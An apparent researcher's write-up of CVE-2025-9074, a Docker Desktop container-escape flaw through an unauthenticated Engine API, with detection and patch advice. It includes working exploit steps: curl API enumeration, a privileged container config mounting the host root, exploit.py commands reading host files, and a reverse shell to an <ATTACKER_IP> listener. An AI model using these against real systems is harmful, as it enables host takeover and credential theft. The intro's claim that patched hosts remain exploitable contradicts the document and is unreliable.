Overview
| Property | Detail |
|---|---|
| CVE ID | CVE-2025-9074 |
| CVSS Score | 9.3 (Critical) — CVSS v4.0 |
| Affected Software | Docker Desktop < 4.44.3 |
| Affected Platforms | Windows, macOS (Linux NOT affected) |
| Fixed Version | Docker Desktop 4.44.3+ |
| Patch Date | August 20, 2025 |
| Discoverers | Felix Boulet, Philippe Dugré |
| CWE | CWE-668: Exposure of Resource to Wrong Sphere |
| PoC Author | Amanja Francisco (0xDoomsKnight) |
This is a vulnerability I researched and built a PoC for. Not theoretical — tested, documented, and confirmed working against unpatched Docker Desktop on Windows with WSL backend. The impact on a fully-patched host with ECI enabled is still a complete host takeover. That's the part worth paying attention to.
Background: How Docker Desktop Handles Networking
Docker Desktop on Windows and macOS does not run containers natively on the host OS. Instead, it spins up a lightweight Linux virtual machine — using WSL 2 on Windows and HyperKit/VZ on macOS — and runs the Docker Engine inside that VM. Your containers run inside the VM, and the Docker daemon runs inside the VM.
To allow the host to communicate with the Docker Engine, and to allow containers to reach host services, Docker Desktop creates an internal virtual network. The default subnet is 192.168.65.0/24. The gateway that containers use to reach services on the VM — including the Docker Engine API — sits at 192.168.65.1. The Docker daemon itself is reachable from within the VM (and therefore from containers) at 192.168.65.7:2375.
┌──────────────────────────────────────────────────────┐
│ Windows Host │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ Docker Desktop VM (Linux) │ │
│ │ │ │
│ │ Docker Engine API ← listening on │ │
│ │ 192.168.65.7:2375 (NO AUTH, NO TLS) │ │
│ │ │ │
│ │ ┌────────────────────────────────────────┐ │ │
│ │ │ Your Container │ │ │
│ │ │ │ │ │
│ │ │ curl http://192.168.65.7:2375/version │ │ │
│ │ │ ↑ works. No credentials needed. │ │ │
│ │ └────────────────────────────────────────┘ │ │
│ └──────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────┘Under normal circumstances, this TCP port is intentional — it is used internally for Docker Desktop's own management traffic. The assumption was that the Docker subnet is isolated enough that containers cannot reach it unless you explicitly expose it. That assumption was wrong.
The Vulnerability: Root Cause
The Docker Engine API at 192.168.65.7:2375 is reachable from within any running Linux container — without authentication and without TLS. This is the entirety of the bug.
There is no authentication middleware. There is no network policy blocking container traffic to that address. The socket is just open.
This matters because the Docker Engine API is essentially a full administrative interface to everything Docker controls:
- Create, start, stop, and delete containers
- Pull and push images
- Inspect and modify running containers
- Mount host filesystem paths into new containers
- Execute commands inside running containers
- Access all Docker volumes and networks
On Windows with WSL backend, the impact goes further: you can create a new privileged container with --privileged and bind-mount the Windows host filesystem, accessible at /mnt/c (or similar) inside the container. That gives you read/write access to the entire Windows C: drive with the same permissions as the user running Docker Desktop.
Why ECI Does Not Help
Enhanced Container Isolation (ECI) is Docker Desktop's enterprise security feature designed to prevent containers from gaining elevated privileges or escaping isolation. On paper, ECI should have blocked this. In practice, it did not — the vulnerability is explicitly documented to occur regardless of ECI settings.
The reason is architectural. ECI operates on the container runtime level — it controls what a container can do within its isolation boundary using seccomp profiles, capability dropping, and namespace restrictions. But the Docker Engine API at 192.168.65.7:2375 is a network service sitting outside that isolation boundary. The container does not need to break out of its namespace to reach it. It just makes a TCP connection over the virtual network. ECI has no mechanism to block outbound TCP connections to specific subnet addresses.
This is a network exposure problem, not a container isolation problem. ECI was never designed to solve it.
Why Linux is Not Affected
Docker Desktop on Linux runs containers using the Docker Engine directly on the host — there is no intermediate VM. The Docker daemon listens on a Unix socket (/var/run/docker.sock) rather than a TCP port. Containers cannot access Unix sockets outside their own namespace unless explicitly granted socket access via a volume mount. No TCP exposure exists, therefore no attack surface.
Verification: Confirming the Exposure from Inside a Container
The fastest way to confirm a target is vulnerable — from inside a running container:
# Check if the Docker Engine API is reachable (unauthenticated)
curl -s http://192.168.65.7:2375/version | python3 -m json.toolIf the target is vulnerable, you get back clean JSON describing the Docker version, OS, architecture, and build info. If the target is patched, the connection is refused.
# List all containers running on the host
curl -s http://192.168.65.7:2375/containers/json | python3 -m json.tool
# List all images
curl -s http://192.168.65.7:2375/images/json | python3 -m json.toolNo credentials. No token. Nothing.
PoC: exploit.py — How It Works
The full PoC is available at: github.com/PtechAmanja/CVE-2025-9074-Docker-Desktop-Container-Escape
The exploit operates in two modes: command execution and reverse shell. Both work by abusing the unauthenticated Docker Engine API to create a new privileged container with the host filesystem mounted.
High-Level Attack Chain
Container → HTTP POST /containers/create (to 192.168.65.7:2375)
→ Privileged container with Binds: ["/:/hostfs"]
→ HTTP POST /containers/{id}/start
→ HTTP POST /containers/{id}/exec (command execution)
→ Output retrieved via HTTP GET /exec/{id}/start
→ Full host filesystem at /hostfs inside new containerPhase 1: Create a Privileged Escape Container
The exploit sends a POST /containers/create request to the unauthenticated API with the following critical parameters:
container_config = {
"Image": "alpine", # or any available image
"Cmd": ["/bin/sh"],
"HostConfig": {
"Privileged": True, # full capabilities
"Binds": ["/:/hostfs"], # mount entire host FS
"NetworkMode": "host"
},
"Tty": True,
"OpenStdin": True
}The Binds: ["/:/hostfs"] line is the key. On Windows with WSL backend, / inside the VM maps to the VM's root, and the Windows C: drive is available under /mnt/host/c or similar — accessible in full through the bind mount.
Phase 2: Execute Commands on the Host
Once the container is created and started, the exploit uses the Docker exec API to run arbitrary commands:
exec_config = {
"AttachStdout": True,
"AttachStderr": True,
"Cmd": ["sh", "-c", user_command]
}The response is streamed back over HTTP. No shell is required on the attacker's end — just HTTP requests.
Command Execution Mode
# Run from inside any container on a vulnerable Docker Desktop host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Output: root
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "id"
# Output: uid=0(root) gid=0(root)
# Read sensitive files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
-c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"
# List Windows users
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
-c "ls -la /hostfs/mnt/c/Users"
# Dump Windows SAM hive (reg.exe equivalent via host FS access)
python3 exploit.py -u http://192.168.65.7:2375 -m cmd \
-c "ls /hostfs/Windows/System32/config"Reverse Shell Mode
# Listener on attacker machine
nc -lvnp 4444
# Trigger from inside vulnerable container
python3 exploit.py -u http://192.168.65.7:2375 -m reverse \
-l <ATTACKER_IP> -p 4444The reverse shell payload is injected via the exec API, launching a /bin/sh process inside the new privileged container with STDIN, STDOUT, and STDERR piped to your listener. Once connected, the host filesystem is available at /hostfs.
Real-World Impact
Windows (WSL backend) — Full Host Takeover
This is the worst-case scenario and the most common Docker Desktop configuration in enterprise environments. With WSL backend:
- The Windows C: drive (and all other drives) is available under
/mnt/c,/mnt/d, etc., within the VM - Through the bind-mounted host FS, you have read/write access to the entire Windows filesystem with the privileges of the user running Docker Desktop
- This includes
%APPDATA%, browser profiles (cookies, saved passwords), SSH keys, code signing certificates, AWS credentials,.envfiles, and anything else on disk - You can write to
C:\Windows\System32\if the user is running Docker Desktop as Administrator - Creating a new backdoor user, installing persistence, or exfiltrating credentials is trivial
macOS — Container Manipulation + Partial Host Access
On macOS, the impact is somewhat constrained by the macOS sandbox and user prompts. You cannot silently mount the Mac filesystem without triggering a system prompt. However, you can still:
- Control all other running containers
- Pull and push images from/to any registry the host user has access to
- Backdoor running containers by injecting processes via exec
- Exfiltrate data from any Docker volumes
Any Platform — Lateral Movement via Container Network
Even where direct host filesystem access is limited, controlling the Docker Engine from inside a container gives you a pivot point into every other container on the host. You can exec into any running container — including other microservices, databases, or application containers — without their own authentication.
CVSS v4.0 Breakdown
The CVSS 9.3 score breaks down as follows:
| Metric | Value | Reasoning |
|---|---|---|
| Attack Vector | Local | Requires execution inside a container on the target machine |
| Attack Complexity | Low | No special conditions — just send HTTP requests |
| Attack Requirements | None | No prerequisites beyond running a container |
| Privileges Required | None | No credentials needed |
| User Interaction | Passive | Requires the victim to be running Docker Desktop |
| Confidentiality (VS) | High | Full Docker API access |
| Integrity (VS) | High | Can modify containers, images, filesystem |
| Availability (VS) | High | Can stop/delete all containers |
| Confidentiality (SS) | High | Full host FS read access on Windows |
| Integrity (SS) | High | Full host FS write access on Windows |
| Availability (SS) | High | Can halt host-level processes |
The "Subsequent System" high scores across all three axes are what push this to 9.3 — it is not just a container escape, it is a full host compromise on the most common deployment platform.
Comparison to Previous Docker Escape Techniques
This is not the first Docker escape, but it is notable for how simple it is. Prior art usually requires:
- A misconfigured Docker socket mount (
-v /var/run/docker.sock:/var/run/docker.sock) - A privileged container explicitly created by an operator
- A vulnerability in the container runtime itself (runc escapes like CVE-2019-5736)
- Kernel exploits targeting namespace isolation
CVE-2025-9074 requires none of these. The container does not need any special capabilities or mounts. It just needs to be running on a vulnerable Docker Desktop installation. Any container — including containers running as non-root with a read-only filesystem and a strict seccomp profile — can reach the API and spawn a new privileged container. The security posture of the originating container is irrelevant.
Detection
From the Host (Docker Desktop Logs)
Unusual container creation activity at the API level should trigger alerts. Look for:
- New containers being created with
Privileged: true - Bind mounts targeting
/or host-level paths (especially/mnt/con Windows) - API calls originating from the Docker subnet (
192.168.65.0/24) rather than from the Docker CLI
# Watch Docker events for suspicious container creation
docker events --filter type=container --filter event=createFrom the Container (Network Connections)
If you have network monitoring inside containers:
# Unexpected outbound connections to 192.168.65.7:2375
ss -tnp | grep 2375
netstat -tnp | grep 192.168.65.7Detection Script (from inside a container)
#!/bin/bash
# Quick check: is this host vulnerable?
RESPONSE=$(curl -s --connect-timeout 2 http://192.168.65.7:2375/version 2>/dev/null)
if echo "$RESPONSE" | grep -q "Version"; then
echo "[!] VULNERABLE: Docker Engine API accessible at 192.168.65.7:2375"
echo "[!] Docker Desktop version: $(echo $RESPONSE | python3 -c \
"import sys,json; d=json.load(sys.stdin); print(d.get('Version','unknown'))")"
else
echo "[+] Not vulnerable or API not reachable"
fiMitigation
Immediate — Update Docker Desktop
There is one real fix: update to Docker Desktop 4.44.3 or later.
# Check current version
docker --version
# Docker Desktop will show version in the About dialog
# or via: docker versionDownload links:
- Windows: desktop.docker.com/win/main/amd64/Docker Desktop Installer.exe
- macOS: desktop.docker.com/mac/main/amd64/Docker.dmg
Temporary Workarounds (If You Cannot Patch)
If immediate update is blocked by organisational policy or testing requirements, these workarounds reduce (but do not eliminate) risk:
1. Block the API from within containers using network rules. Inside the Docker VM or via a custom network policy, add a rule to drop traffic from the container subnet to port 2375 on the host IP.
2. Only run containers from trusted images. An attacker needs code execution inside a container first. Reducing the attack surface by avoiding untrusted images reduces the chance of reaching this vulnerability.
3. Monitor for API access. Set up alerting on Docker API events for container creation with privileged flags.
None of these are a substitute for patching. The only real fix is Docker Desktop 4.44.3+.
Lessons for Container Security Architecture
This vulnerability illustrates a specific class of problem that is easy to miss: administrative interfaces that assume network isolation as their only security control.
The Docker Engine API was designed to be used by trusted parties — the Docker CLI running on the host. Exposing it on a TCP socket inside the VM's internal network was a deliberate architectural choice, made with the assumption that containers could not reach that address. When that assumption proved wrong, there was nothing else in the security model to stop exploitation. No authentication, no TLS, no authorisation.
This is the same failure mode seen in Kubernetes API server misconfiguration, Elasticsearch clusters with no authentication, Redis instances bound to 0.0.0.0, and dozens of other real-world incidents. The fix in 4.44.3 blocks container access to the API endpoint at the network level — the correct approach. Defence in depth would add authentication on top of that.
For defenders: any management API that relies purely on network isolation for security should be treated as unauthenticated by default, because networks change and assumptions break. Add authentication. Always.
Timeline
| Date | Event |
|---|---|
| Mid-2025 | Vulnerability discovered by Felix Boulet and Philippe Dugré |
| August 20, 2025 | Docker Desktop 4.44.3 released with fix, CVE published |
| August 28, 2025 | Detection scripts published by security community |
| March 2026 | PoC exploit published by 0xDoomsKnight |
References
- GitHub PoC — CVE-2025-9074-Docker-Desktop-Container-Escape
- GitHub Advisory — GHSA-4xcq-3fjf-xfqw
- NVD — CVE-2025-9074
- Docker Desktop 4.44.3 Release Notes
- Felix Boulet — Original Research
- Philippe Dugré — Technical Analysis
Disclaimer
This research and PoC are published for educational and defensive security purposes. Only test against systems you own or have explicit written authorisation to test. Unauthorised access to computer systems is illegal.